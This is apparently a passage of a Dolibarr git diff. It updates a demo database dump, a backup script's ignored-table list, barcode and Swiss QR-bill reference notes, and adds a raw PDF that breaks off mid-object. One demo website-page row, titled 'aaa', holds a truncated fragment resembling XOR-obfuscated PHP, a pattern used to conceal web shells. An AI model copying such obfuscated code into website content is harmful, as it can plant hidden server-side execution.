    Ipsum consequat

    \n

    Sed lorem amet ipsum dolor et amet nullam consequat a feugiat consequat tempus veroeros sed consequat.

    \n
  • \n
  • \n \n

    Amed sed feugiat

    \n

    Sed lorem amet ipsum dolor et amet nullam consequat a feugiat consequat tempus veroeros sed consequat.

    \n
  • \n
  • \n \n

    Dolor nullam

    \n

    Sed lorem amet ipsum dolor et amet nullam consequat a feugiat consequat tempus veroeros sed consequat.

    \n
  • \n
\n \n
\n\n \n
\n
\n

Ipsum consequat

\n

Donec imperdiet consequat consequat. Suspendisse feugiat congue
\n posuere. Nulla massa urna, fermentum eget quam aliquet.

\n
\n
    \n
  • \n \n 5,120 Etiam\n
  • \n
  • \n \n 8,192 Magna\n
  • \n
  • \n \n 2,048 Tempus\n
  • \n
  • \n \n 4,096 Aliquam\n
  • \n
  • \n \n 1,024 Nullam\n
  • \n
\n

Nam elementum nisl et mi a commodo porttitor. Morbi sit amet nisl eu arcu faucibus hendrerit vel a risus. Nam a orci mi, elementum ac arcu sit amet, fermentum pellentesque et purus. Integer maximus varius lorem, sed convallis diam accumsan sed. Etiam porttitor placerat sapien, sed eleifend a enim pulvinar faucibus semper quis ut arcu. Ut non nisl a mollis est efficitur vestibulum. Integer eget purus nec nulla mattis et accumsan ut magna libero. Morbi auctor iaculis porttitor. Sed ut magna ac risus et hendrerit scelerisque. Praesent eleifend lacus in lectus aliquam porta. Cras eu ornare dui curabitur lacinia.

\n \n
\n\n \n
\n
\n

Congue imperdiet

\n

Donec imperdiet consequat consequat. Suspendisse feugiat congue
\n posuere. Nulla massa urna, fermentum eget quam aliquet.

\n
\n \n
\n\n
\n\n \n\n
\n\n',1,'2019-08-15 00:03:43',NULL,'2022-07-06 21:50:25',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(48,7,'menu','','Menu','Menu common to all pages','','\n',1,'2019-08-15 00:03:43',NULL,'2020-02-21 09:27:17',NULL,NULL,'menu','fr',NULL,'','',NULL,'','',0,NULL,NULL),(49,7,'this-is-a-blog-post','','This is a Blog post','This is a full meta description of the article','blog','\n
\n This is a blog post article...\n
\n',1,'2019-08-17 17:18:45',NULL,'2022-07-06 21:50:25',NULL,NULL,'blogpost','',NULL,'','',NULL,'','webmaster',0,NULL,NULL),(50,2,'aaa','','aaa','','',';\").($_^\"/\"); ?> ',1,'2023-02-11 10:21:30',NULL,'2023-02-11 13:21:37',12,12,'page',NULL,NULL,NULL,'',NULL,'','',NULL,'',''),(51,3,'aaa','','aaa','','','\r\n
\r\n fsdfsd\r\n componentSelectLang(\'auto\', $weblangs); \r\n ?>\r\n \r\n fdsfsdfsd\r\n\r\n
\r\n',1,'2023-02-16 21:50:44',NULL,'2023-02-17 00:51:13',12,12,'page',NULL,NULL,NULL,'',NULL,'','',NULL,'',''); /*!40000 ALTER TABLE `llx_website_page` ENABLE KEYS */; UNLOCK TABLES; @@ -13842,17 +12993,17 @@ DROP TABLE IF EXISTS `llx_workstation_workstation`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_workstation_workstation` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '(PROV)', - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `type` varchar(7) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(128) NOT NULL DEFAULT '(PROV)', + `label` varchar(255) DEFAULT NULL, + `type` varchar(7) DEFAULT NULL, + `note_public` text DEFAULT NULL, `entity` int(11) DEFAULT 1, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `status` smallint(6) NOT NULL, `nb_operators_required` int(11) DEFAULT NULL, `thm_operator_estimated` double DEFAULT NULL, @@ -13935,15 +13086,15 @@ DROP TABLE IF EXISTS `llx_zapier_hook`; CREATE TABLE `llx_zapier_hook` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `url` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `event` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `module` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `action` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `url` varchar(255) DEFAULT NULL, + `event` varchar(255) DEFAULT NULL, + `module` varchar(128) DEFAULT NULL, + `action` varchar(128) DEFAULT NULL, `status` int(11) DEFAULT NULL, `date_creation` datetime NOT NULL, `fk_user` int(11) NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -13966,4 +13117,4 @@ UNLOCK TABLES; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; --- Dump completed on 2022-07-05 10:09:14 +-- Dump completed on 2023-03-15 16:21:09 diff --git a/dev/initdemo/savedemo.sh b/dev/initdemo/savedemo.sh index d863bd75c9d..9f5ea6c42dc 100755 --- a/dev/initdemo/savedemo.sh +++ b/dev/initdemo/savedemo.sh @@ -290,6 +290,7 @@ export list=" --ignore-table=$base.llx_monmodule_abcdef --ignore-table=$base.llx_notes --ignore-table=$base.llx_packages + --ignore-table=$base.llx_packages_extrafields --ignore-table=$base.llx_pos_cash --ignore-table=$base.llx_pos_control_cash --ignore-table=$base.llx_pos_facture @@ -305,6 +306,19 @@ export list=" --ignore-table=$base.llx_residence --ignore-table=$base.llx_residence_building --ignore-table=$base.llx_residence_building_links + --ignore-table=$base.llx_scaninvoices_filestoimport + --ignore-table=$base.llx_scaninvoices_filestoimport_extrafields + --ignore-table=$base.llx_scaninvoices_settings + --ignore-table=$base.llx_scaninvoices_settings_extrafields + --ignore-table=$base.llx_sellyoursaas_blacklistcontent + --ignore-table=$base.llx_sellyoursaas_blacklistdir + --ignore-table=$base.llx_sellyoursaas_blacklistfrom + --ignore-table=$base.llx_sellyoursaas_blacklistip + --ignore-table=$base.llx_sellyoursaas_blacklistmail + --ignore-table=$base.llx_sellyoursaas_blacklistto + --ignore-table=$base.llx_sellyoursaas_deploymentserver + --ignore-table=$base.llx_sellyoursaas_stats + --ignore-table=$base.llx_sellyoursaas_whitelistip --ignore-table=$base.llx_societe_rib2 --ignore-table=$base.llx_sellyoursaas_cancellation --ignore-table=$base.llx_ticketsup diff --git a/dev/resources/iso-normes/qr-bar-codes/QR code for invoices.txt b/dev/resources/iso-normes/qr-bar-codes/QR code for invoices.txt index b388ed0c599..a749aa29330 100644 --- a/dev/resources/iso-normes/qr-bar-codes/QR code for invoices.txt +++ b/dev/resources/iso-normes/qr-bar-codes/QR code for invoices.txt @@ -22,8 +22,7 @@ https://www.tecklenborgh.com/post/ksa-zatca-publishes-guide-on-how-to-develop-a- Method to encode/decode ZATCA string is available in test/phpunit/BarcodeTest.php -* FOR QR-Bill in switzerland ----------------------------- -Syntax of QR Code https://www.swiss-qr-invoice.org/fr/ +* FOR QR-Bill in switzerland - Facture-QR +Syntax of QR Code - See file ig-qr-bill-v2.2-fr.pdf (more doc on https://www.swiss-qr-invoice.org/downloads/) Syntax of complentary field named "structured information of invoice S1": https://www.swiss-qr-invoice.org/downloads/qr-bill-s1-syntax-fr.pdf To test/validate: https://www.swiss-qr-invoice.org/validator/ diff --git a/dev/resources/iso-normes/qr-bar-codes/barcode_EAN13.txt b/dev/resources/iso-normes/qr-bar-codes/barcode_EAN13.txt index e8000035788..549c6e29a1d 100644 --- a/dev/resources/iso-normes/qr-bar-codes/barcode_EAN13.txt +++ b/dev/resources/iso-normes/qr-bar-codes/barcode_EAN13.txt @@ -10,8 +10,7 @@ Signification des chiffres. - 1 chiffre pour la somme de controle Cette regle subit de nombreuses entorses pour ameliorer l'usage des chiffres disponibles. -Voici la liste des codes pays ou systeme : - +Voici la liste des codes pays ou systeme, les préfixes qui ne sont pas explicitement mentionnés sont réservés par GS1 : EN @@ -25,105 +24,139 @@ Meaning of the numbers: This rule has been twisted many times to improve the use of the available numbers. -Here is the list of country codes or system: +Here is the list of country codes or system, prefixes not explicitly listed are reserved by GS1: -List -==== +List (https://www.gs1.org/prefixes) +=================================== -00 - 13 UCC (U.S.A / États-Unis & Canada) -20 - 29 Flag for internal numbering / Codification interne en magasin -30 - 37 GENCOD-EAN France -380 BCCI (Bulgaria) -383 SANA (Slovenia) -385 CRO-EAN (Croatia) -387 EAN-BIH (Bosnia-Herzegovina) -400-440 CCG (DE/Germany/Allemagne) -45 + 49 Distribution Code Center - DCC (Japan) -460-469 UNISCAN - EAN Russia (Federation de Russie) -471 CAN Taiwan -474 EAN Estonia -475 EAN Latvia -476 EAN Azerbaijan -477 EAN Lithuania -478 EAN Uzbekistan -479 EAN Sri Lanka -480 PANC Philippines -481 EAN Belarus -482 EAN Ukraine -484 EAN Moldova -485 EAN Armenia -486 EAN Georgia -487 EAN Kazakhstan -489 HKANA Hong Kong -50 E Centre UK - United Kingdom -520 HELLCAN-EAN HELLAS - Greece -528 EAN Lebanon -529 EAN Cyprus -531 EAN-MAC (FYR Macedonia) -535 EAN Malta -539 EAN Ireland -54 ICODIF/EAN Belgium & Luxembourg -560 CODIPOR (Portugal) -569 EAN Iceland/Islande -57 EAN Denmark -590 EAN Poland -594 EAN Romania -599 H.A.P.M.H. (Hungary) -600-601 EAN South Africa -609 EAN Mauritius Island -611 EAN Morocco -613 EAN Algeria -619 Tunicode (Tunisia) -621 EAN Syria -622 EAN Egypt -625 EAN Jordan/Jordanie -626 EAN Iran -628 EAN Saudi Arabia -64 EAN Finland -690-693 ANCC - Article Numbering Centre of China -70 EAN Norge (Norvege) -729 Israeli Bar Code Association - EAN Israel -73 EAN Suede -740 EAN Guatemala -741 EAN El Salvador -742 ICCC (Honduras) -743 EAN Nicaragua -744 EAN Costa Rica Panama -746 746 EAN Republique Dominicaine -750 AMECE (Mexique) -759 EAN Venezuela -76 EAN (Schweiz, Suisse, Svizzera) -770 IAC (Colombie) -773 EAN Uruguay -775 APC - EAN Peru (Perou) -777 EAN Bolivie -779 CODIGO - EAN Argentine -780 EAN Chili -784 EAN Paraguay -786 ECOP (Equateur) -789 EAN Bresil -80 - 83 INDICOD (Italy) -84 AECOC (Espagne) -850 Camera de Comercio de la Republica de Cuba (Cuba) -858 EAN Slovaquie -859 EAN Republique Tcheque -860 EAN YU (Yougoslavie) -867 EAN DPR Korea (Coree du Nord) -869 Union of Chambers of Commerce of Turkey (Turquie) -87 EAN Nederland (Hollande) -880 EAN Korea (Coree du Sud) -885 EAN Thailande -888 SANC (Singapour) -890 EAN Inde -893 EAN Vietnam -899 EAN Indonesie -90 - 91 EAN Autriche -93 EAN Australie -94 EAN Nouvelle Zelande -955 Malaysian Article Numbering Council (MANC) - Malaisie -977 Publications sirielles (ISSN) -978 - 979 Livres (ISBN) -980 Refus de remboursement -981 - 982 Coupons (monnaie courante) -99 Coupons +0000000 Flag for internal numbering / Codification interne en magasin +00001–01999 GS1 US (U.S.A / États-Unis & Canada) +020-029 Restricted / Restreint +030-039 GS1 US (U.S.A / États-Unis & Canada) +040-049 Flag for internal numbering / Codification interne en magasin +050-059 GS1 US (U.S.A / États-Unis & Canada) +060-139 GS1 US (U.S.A / États-Unis & Canada) +300-379 GS1 France +380 GS1 Bulgaria +383 GS1 Slovenija +385 GS1 Croatia +387 GS1 BIH (Bosnia-Herzegovina) +389 GS1 Montenegro +400-440 GS1 Germany +450-459 GS1 Japan +460-469 GS1 Russia +470 GS1 Kyrgyzstan +471 GS1 Chinese Taipei +474 GS1 Estonia +475 GS1 Latvia +476 GS1 Azerbaijan +477 GS1 Lithuania +478 GS1 Uzbekistan +479 GS1 Sri Lanka +480 GS1 Philippines +481 GS1 Belarus +482 GS1 Ukraine +483 GS1 Turkmenistan +484 GS1 Moldova +485 GS1 Armenia +486 GS1 Georgia +487 GS1 Kazakstan +488 GS1 Tajikistan +489 GS1 Hong Kong, China +490-499 GS1 Japan +500-509 GS1 UK +520-521 GS1 Association Greece +528 GS1 Lebanon +529 GS1 Cyprus +530 GS1 Albania +531 GS1 Macedonia +535 GS1 Malta +539 GS1 Ireland +540-549 GS1 Belgium & Luxembourg +560 GS1 Portugal +569 GS1 Iceland +570-579 GS1 Denmark +590 GS1 Poland +594 GS1 Romania +599 GS1 Hungary +600-601 GS1 South Africa +603 GS1 Ghana +604 GS1 Senegal +607 GS1 Oman +608 GS1 Bahrain +609 GS1 Mauritius +611 GS1 Morocco +613 GS1 Algeria +615 GS1 Nigeria +616 GS1 Kenya +617 GS1 Cameroon +618 GS1 Côte d'Ivoire +619 GS1 Tunisia +620 GS1 Tanzania +621 GS1 Syria +622 GS1 Egypt +624 GS1 Libya +625 GS1 Jordan +626 GS1 Iran +627 GS1 Kuwait +628 GS1 Saudi Arabia +629 GS1 Emirates +630 GS1 Qatar +631 GS1 Namibia +640-649 GS1 Finland +690-699 GS1 China +700-709 GS1 Norway +729 GS1 Israel +730-739 GS1 Sweden +740 GS1 Guatemala +741 GS1 El Salvador +742 GS1 Honduras +743 GS1 Nicaragua +744 GS1 Costa Rica +745 GS1 Panama +746 GS1 Republica Dominicana +750 GS1 Mexico +754-755 GS1 Canada +759 GS1 Venezuela +760-769 GS1 Schweiz, Suisse, Svizzera +770-771 GS1 Colombia +773 GS1 Uruguay +775 GS1 Peru +777 GS1 Bolivia +778-779 GS1 Argentina +780 GS1 Chile +784 GS1 Paraguay +786 GS1 Ecuador +789-790 GS1 Brasil +800-839 GS1 Italy +840-849 GS1 Spain +850 GS1 Cuba +858 GS1 Slovakia +859 GS1 Czech +860 GS1 Serbia +865 GS1 Mongolia +867 GS1 North Korea +868-869 GS1 Türkiye +870-879 GS1 Netherlands +880 GS1 South Korea +883 GS1 Myanmar +884 GS1 Cambodia +885 GS1 Thailand +888 GS1 Singapore +890 GS1 India +893 GS1 Vietnam +896 GS1 Pakistan +899 GS1 Indonesia +900-919 GS1 Austria +930-939 GS1 Australia +940-949 GS1 New Zealand +950 GS1 Global Office +955 GS1 Malaysia +958 GS1 Macao, China +960-969 Global Office - GTIN-8 +977 Serial publications / Publications en série (ISSN) +978-979 Bookland / Livres (ISBN) +980 Refund receipts / Remboursements +981-983 GS1 Coupons +99 GS1 Coupons diff --git a/dev/resources/iso-normes/qr-bar-codes/ig-qr-bill-v2.2-fr.pdf b/dev/resources/iso-normes/qr-bar-codes/ig-qr-bill-v2.2-fr.pdf new file mode 100644 index 00000000000..92e071f99db --- /dev/null +++ b/dev/resources/iso-normes/qr-bar-codes/ig-qr-bill-v2.2-fr.pdf @@ -0,0 +1,71291 @@ +%PDF-1.7 +% +1 0 obj +<< +/Lang (de-CH) +/MarkInfo << +/Marked true +>> +/Metadata 2 0 R +/Pages 3 0 R +/StructTreeRoot 4 0 R +/Type /Catalog +/ViewerPreferences 5 0 R +>> +endobj +6 0 obj +<< +/Author () +/CreationDate (D:20210212134057+01'00') +/Creator () +/ModDate (D:20210215124331+01'00') +/Producer () +/Subject (Customer-to-Bank) +/Title (Implementation Guidelines suisses pour QR-facture) +>> +endobj +2 0 obj +<< +/Length 0 +/Type /Metadata +/Subtype /XML +>> +stream + +endstream +endobj +3 0 obj +<< +/Count 78 +/Kids [7 0 R 8 0 R 9 0 R 10 0 R 11 0 R 12 0 R 13 0 R 14 0 R 15 0 R 16 0 R +17 0 R 18 0 R 19 0 R 20 0 R 21 0 R 22 0 R 23 0 R 24 0 R 25 0 R 26 0 R +27 0 R 28 0 R 29 0 R 30 0 R 31 0 R 32 0 R 33 0 R 34 0 R 35 0 R 36 0 R +37 0 R 38 0 R 39 0 R 40 0 R 41 0 R 42 0 R 43 0 R 44 0 R 45 0 R 46 0 R +47 0 R 48 0 R 49 0 R 50 0 R 51 0 R 52 0 R 53 0 R 54 0 R 55 0 R 56 0 R +57 0 R 58 0 R 59 0 R 60 0 R 61 0 R 62 0 R 63 0 R 64 0 R 65 0 R 66 0 R +67 0 R 68 0 R 69 0 R 70 0 R 71 0 R 72 0 R 73 0 R 74 0 R 75 0 R 76 0 R +77 0 R 78 0 R 79 0 R 80 0 R 81 0 R 82 0 R 83 0 R 84 0 R] +/Type /Pages +>> +endobj +4 0 obj +<< +/K [85 0 R] +/ParentTree 86 0 R +/ParentTreeNextKey 357 +/RoleMap 87 0 R +/Type /StructTreeRoot +>> +endobj +5 0 obj +<< +/DisplayDocTitle true +>> +endobj +7 0 obj +<< +/Contents 88 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F3 93 0 R +/F4 94 0 R +/F5 95 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image5 97 0 R +>> +>> +/Rotate 0 +/StructParents 0 +/Tabs /S +/Type /Page +>> +endobj +8 0 obj +<< +/Annots [98 0 R 99 0 R] +/Contents 100 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F3 93 0 R +/F5 95 0 R +/F6 101 0 R +/F7 102 0 R +/F8 103 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 1 +/Tabs /S +/Type /Page +>> +endobj +9 0 obj +<< +/Contents 104 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F3 93 0 R +/F5 95 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 4 +/Tabs /S +/Type /Page +>> +endobj +10 0 obj +<< +/Annots [105 0 R] +/Contents 106 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F3 93 0 R +/F5 95 0 R +/F7 102 0 R +/F8 103 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 5 +/Tabs /S +/Type /Page +>> +endobj +11 0 obj +<< +/Annots [108 0 R 109 0 R 110 0 R 111 0 R 112 0 R 113 0 R 114 0 R 115 0 R 116 0 R 117 0 R +118 0 R 119 0 R 120 0 R 121 0 R 122 0 R 123 0 R 124 0 R 125 0 R 126 0 R 127 0 R +128 0 R 129 0 R 130 0 R 131 0 R 132 0 R 133 0 R 134 0 R 135 0 R 136 0 R 137 0 R +138 0 R 139 0 R 140 0 R 141 0 R 142 0 R 143 0 R 144 0 R 145 0 R 146 0 R 147 0 R +148 0 R 149 0 R 150 0 R 151 0 R 152 0 R 153 0 R 154 0 R 155 0 R 156 0 R 157 0 R +158 0 R 159 0 R 160 0 R 161 0 R 162 0 R 163 0 R 164 0 R 165 0 R 166 0 R 167 0 R +168 0 R 169 0 R 170 0 R 171 0 R 172 0 R 173 0 R 174 0 R 175 0 R] +/Contents 176 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F3 93 0 R +/F5 95 0 R +/F8 103 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 7 +/Tabs /S +/Type /Page +>> +endobj +12 0 obj +<< +/Annots [177 0 R 178 0 R 179 0 R 180 0 R 181 0 R 182 0 R 183 0 R 184 0 R 185 0 R 186 0 R +187 0 R 188 0 R 189 0 R 190 0 R 191 0 R 192 0 R 193 0 R 194 0 R 195 0 R 196 0 R +197 0 R 198 0 R 199 0 R 200 0 R 201 0 R 202 0 R 203 0 R 204 0 R 205 0 R 206 0 R +207 0 R 208 0 R 209 0 R 210 0 R 211 0 R 212 0 R 213 0 R 214 0 R 215 0 R 216 0 R +217 0 R 218 0 R 219 0 R 220 0 R 221 0 R 222 0 R] +/Contents 223 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F3 93 0 R +/F5 95 0 R +/F8 103 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 77 +/Tabs /S +/Type /Page +>> +endobj +13 0 obj +<< +/Annots [224 0 R] +/Contents 225 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image238 227 0 R +>> +>> +/Rotate 0 +/StructParents 123 +/Tabs /S +/Type /Page +>> +endobj +14 0 obj +<< +/Annots [228 0 R] +/Contents 229 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F7 102 0 R +/F8 103 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 125 +/Tabs /S +/Type /Page +>> +endobj +15 0 obj +<< +/Annots [230 0 R 231 0 R 232 0 R 233 0 R] +/Contents 234 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 127 +/Tabs /S +/Type /Page +>> +endobj +16 0 obj +<< +/Annots [235 0 R 236 0 R 237 0 R 238 0 R 239 0 R 240 0 R] +/Contents 241 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 132 +/Tabs /S +/Type /Page +>> +endobj +17 0 obj +<< +/Contents 242 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F7 102 0 R +/F8 103 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image254 243 0 R +>> +>> +/Rotate 0 +/StructParents 139 +/Tabs /S +/Type /Page +>> +endobj +18 0 obj +<< +/Annots [244 0 R] +/Contents 245 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 140 +/Tabs /S +/Type /Page +>> +endobj +19 0 obj +<< +/Annots [246 0 R] +/Contents 247 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image259 248 0 R +>> +>> +/Rotate 0 +/StructParents 142 +/Tabs /S +/Type /Page +>> +endobj +20 0 obj +<< +/Annots [249 0 R 250 0 R 251 0 R 252 0 R] +/Contents 253 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 144 +/Tabs /S +/Type /Page +>> +endobj +21 0 obj +<< +/Annots [254 0 R 255 0 R 256 0 R 257 0 R 258 0 R 259 0 R 260 0 R 261 0 R 262 0 R 263 0 R +264 0 R 265 0 R] +/Contents 266 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F7 102 0 R +/F8 103 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 149 +/Tabs /S +/Type /Page +>> +endobj +22 0 obj +<< +/Annots [267 0 R] +/Contents 268 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 162 +/Tabs /S +/Type /Page +>> +endobj +23 0 obj +<< +/Annots [269 0 R] +/Contents 270 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image282 271 0 R +>> +>> +/Rotate 0 +/StructParents 164 +/Tabs /S +/Type /Page +>> +endobj +24 0 obj +<< +/Annots [272 0 R] +/Contents 273 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F7 102 0 R +/F8 103 0 